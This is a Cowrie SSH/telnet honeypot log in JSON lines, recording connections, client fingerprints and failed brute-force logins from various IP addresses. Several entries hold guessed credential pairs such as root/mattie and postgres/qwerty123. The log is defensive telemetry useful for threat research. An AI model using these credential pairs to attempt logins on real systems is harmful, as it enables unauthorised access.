{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":39994,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfc392b18f9d","protocol":"ssh","message":"New connection: 77.94.47.83:39994 (10.17.0.5:22) [session: dfc392b18f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:31.515201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:31.519334Z","src_ip":"77.94.47.83","session":"dfc392b18f9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:31.636040Z","src_ip":"77.94.47.83","session":"dfc392b18f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mattie","message":"login attempt [root/mattie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:31.979436Z","src_ip":"77.94.47.83","session":"dfc392b18f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:33.093265Z","src_ip":"77.94.47.83","session":"dfc392b18f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":52418,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0211471b398","protocol":"telnet","message":"New connection: 94.23.66.112:52418 (10.17.0.5:23) [session: b0211471b398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:37.057811Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":35820,"dst_ip":"159.203.135.109","dst_port":22,"session":"05d336a5af05","protocol":"ssh","message":"New connection: 108.179.220.174:35820 (159.203.135.109:22) [session: 05d336a5af05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:40.227006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:40.230416Z","src_ip":"108.179.220.174","session":"05d336a5af05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:40.256961Z","src_ip":"108.179.220.174","session":"05d336a5af05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"L1n3@!M@st3r","message":"login attempt [root/L1n3@!M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:40.332132Z","src_ip":"108.179.220.174","session":"05d336a5af05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:41.360463Z","src_ip":"108.179.220.174","session":"05d336a5af05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.16113233566284,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:44.302271Z","src_ip":"170.64.224.25","session":"c416c287c0b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":44498,"dst_ip":"10.17.0.5","dst_port":22,"session":"79f1bf9d26d4","protocol":"ssh","message":"New connection: 194.36.147.215:44498 (10.17.0.5:22) [session: 79f1bf9d26d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:53.320843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:53.324036Z","src_ip":"194.36.147.215","session":"79f1bf9d26d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:53.412982Z","src_ip":"194.36.147.215","session":"79f1bf9d26d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jed_mccaleb","password":"jed123","message":"login attempt [jed_mccaleb/jed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:53.680921Z","src_ip":"194.36.147.215","session":"79f1bf9d26d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:54.773455Z","src_ip":"194.36.147.215","session":"79f1bf9d26d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.4215772151947,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:00.843502Z","src_ip":"170.64.224.25","session":"c4673c0fef8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":59460,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5c382d52ca9","protocol":"ssh","message":"New connection: 91.92.40.4:59460 (10.17.0.5:22) [session: d5c382d52ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:20.313873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:20.329144Z","src_ip":"91.92.40.4","session":"d5c382d52ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:20.401020Z","src_ip":"91.92.40.4","session":"d5c382d52ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwerty123","message":"login attempt [postgres/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:21.023223Z","src_ip":"91.92.40.4","session":"d5c382d52ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:22.107536Z","src_ip":"91.92.40.4","session":"d5c382d52ca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.64.84.82","src_port":43078,"dst_ip":"159.203.135.109","dst_port":23,"session":"26547dcbd399","protocol":"telnet","message":"New connection: 119.64.84.82:43078 (159.203.135.109:23) [session: 26547dcbd399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:45.339416Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":36596,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d0d1cd7a07c","protocol":"ssh","message":"New connection: 139.19.117.129:36596 (159.203.135.109:22) [session: 9d0d1cd7a07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:46.754236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:46.758823Z","src_ip":"139.19.117.129","session":"9d0d1cd7a07c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:46.850617Z","src_ip":"139.19.117.129","session":"9d0d1cd7a07c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:47.037268Z","src_ip":"139.19.117.129","session":"9d0d1cd7a07c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:47.040065Z","src_ip":"139.19.117.129","session":"9d0d1cd7a07c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:47.134267Z","src_ip":"139.19.117.129","session":"9d0d1cd7a07c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:47.137143Z","src_ip":"139.19.117.129","session":"9d0d1cd7a07c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39146,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9e2f6e329c4","protocol":"telnet","message":"New connection: 170.64.224.25:39146 (159.203.135.109:23) [session: c9e2f6e329c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:50.026606Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39158,"dst_ip":"159.203.135.109","dst_port":23,"session":"219435e0b630","protocol":"telnet","message":"New connection: 170.64.224.25:39158 (159.203.135.109:23) [session: 219435e0b630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:50.753408Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39174,"dst_ip":"159.203.135.109","dst_port":23,"session":"75df7bd895b7","protocol":"telnet","message":"New connection: 170.64.224.25:39174 (159.203.135.109:23) [session: 75df7bd895b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:50.784321Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:30:56.754590Z","src_ip":"139.19.117.129","session":"9d0d1cd7a07c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37142,"dst_ip":"159.203.135.109","dst_port":23,"session":"c09a0c4b82cd","protocol":"telnet","message":"New connection: 170.64.224.25:37142 (159.203.135.109:23) [session: c09a0c4b82cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:02.575309Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40592,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cfe3567db73","protocol":"ssh","message":"New connection: 103.82.132.16:40592 (159.203.135.109:22) [session: 4cfe3567db73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:11.128861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:11.138793Z","src_ip":"103.82.132.16","session":"4cfe3567db73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:11.401260Z","src_ip":"103.82.132.16","session":"4cfe3567db73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03081998","message":"login attempt [root/03081998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:12.194346Z","src_ip":"103.82.132.16","session":"4cfe3567db73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:13.459912Z","src_ip":"103.82.132.16","session":"4cfe3567db73","protocol":"ssh"}
